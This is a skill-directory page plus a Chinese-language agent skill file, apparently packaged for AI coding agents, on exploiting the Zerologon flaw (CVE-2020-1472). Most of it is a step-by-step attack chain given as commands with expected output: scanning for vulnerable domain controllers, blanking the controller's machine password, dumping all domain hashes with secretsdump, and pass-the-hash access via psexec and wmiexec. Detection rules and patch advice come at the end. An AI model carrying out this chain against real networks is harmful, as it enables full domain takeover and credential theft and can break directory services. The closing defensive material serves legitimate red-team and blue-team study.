# Exploiting Zerologon Vulnerability Cve 2020 1472

> 利用 Netlogon 远程协议中的 Zerologon 漏洞（CVE-2020-1472），通过将机器账户密码重置为空来实现域控制器入侵。

- Skill: `killvxk/exploiting-zerologon-vulnerability-cve-2020-1472` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-zerologon-vulnerability-cve-2020-1472`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-zerologon-vulnerability-cve-2020-1472/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-zerologon-vulnerability-cve-2020-1472

---


# 利用 Zerologon 漏洞（CVE-2020-1472）

## 概述

Zerologon（CVE-2020-1472）是微软 Netlogon 远程协议（MS-NRPC）中的一个严重权限提升漏洞（CVSS 10.0）。该缺陷存在于 AES-CFB8 模式的密码学实现中，初始化向量（IV）被错误地设置为全零。这允许对域控制器拥有网络访问权限的未经认证的攻击者建立 Netlogon 会话，并将 DC 机器账户密码重置为空，从而实现完整的域入侵。微软于 2020 年 8 月修补了此漏洞（KB4571694）。

## 前置条件

- 到域控制器的网络访问（TCP 端口 135 和动态 RPC 端口）
- 无需认证（未认证漏洞利用）
- 目标 DC 不能启用 2021 年 2 月的强制模式
- 已安装 Impacket 工具包
- 红队演练书面授权

## MITRE ATT&CK 映射

| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1068 | 利用漏洞进行权限提升 | 权限提升 |
| T1210 | 利用远程服务 | 横向移动 |
| T1003.006 | 操作系统凭据转储：DCSync | 凭据访问 |
| T1078.002 | 有效账户：域账户 | 持久化 |

## 漏洞技术细节

### 根本原因

Netlogon 认证协议使用带有客户端质询和服务器质询的 AES-CFB8 加密。漏洞存在是因为：

1. IV 被硬编码为**16 字节零**
2. 当明文为**8 字节零**时，AES-CFB8 以**1/256 的概率**产生**全零**的密文
3. 攻击者可以发送大约 256 次认证尝试（约需 3 秒）以成功

### 受影响系统

- Windows Server 2008 R2 到 Windows Server 2019
- 所有运行未打补丁 Netlogon 服务的域控制器
- Samba 版本 < 4.8（如果以 AD DC 身份运行）

## 步骤一：识别易受攻击的域控制器

```bash
# 扫描域控制器
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# 使用 Zerologon 检查器检查 DC 是否易受攻击
python3 zerologon_tester.py DC01 10.10.10.1

# 使用 CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
```

## 步骤二：利用 Zerologon

```bash
# 使用 Impacket 的 CVE-2020-1472 漏洞利用工具
# 这会将 DC 机器账户密码设置为空
python3 cve_2020_1472.py DC01$ 10.10.10.1

# 预期输出:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0（约 256 次尝试后成功）
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
```

## 步骤三：使用空密码执行 DCSync

```bash
# 使用空哈希执行 DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1

# 输出包含所有域哈希:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# 或转储特定账户
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator
```

## 步骤四：获取域管理员访问权限

```bash
# 使用 Administrator NTLM 进行哈希传递
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

# 或使用 wmiexec 进行更隐蔽的访问
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1
```

## 步骤五：恢复机器账户密码（关键）

**警告**：利用 Zerologon 后，DC 机器账户密码为空，这将破坏活动目录复制和服务。必须恢复密码。

```bash
# 方法一：使用漏洞利用工具的恢复功能
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>

# 方法二：从 DC 强制修改机器账户密码
# 以 Administrator 身份连接到 DC 并运行:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*

# 方法三：重启 DC（它会自动重新生成机器密码）
# 这是最安全的方法，但会导致停机
```

## 检测

### Windows 事件日志

```
事件 ID 4742: 计算机账户已更改
- 注意: DC$ 账户的密码更改
- 异常: 短时间内 DC$ 的多次 4742 事件

事件 ID 5805: Netlogon 认证失败
- 多次失败后成功 = Zerologon 尝试

事件 ID 4624（类型 3）: 网络登录
- DC$ 账户从意外 IP 登录
```

### 网络检测

```yaml
# 针对 Zerologon 的 Suricata 规则
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)
```

### Sigma 规则

```yaml
title: Zerologon 利用尝试
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 5805
        LogonType: 3
    timeframe: 5m
    condition: selection | count(EventID) > 100
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2020.1472
```

## 防御建议

1. **立即应用补丁** - KB4571694（2020 年 8 月）并启用 2021 年 2 月的强制模式
2. 通过注册表**启用强制模式**：`FullSecureChannelProtection = 1`
3. **监控事件 ID 5805** 以查找重复的 Netlogon 失败
4. **部署 Microsoft Defender for Identity**（自动检测 Zerologon）
5. **网络分段** - 限制从用户网络直接访问 DC
6. 在可能的情况下，**阻止来自非 DC 系统的 Netlogon RPC**

## 参考资料

- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura 白皮书: https://www.secura.com/blog/zero-logon
- CrowdStrike 公告: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA 警报 AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- 微软强制更新: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24

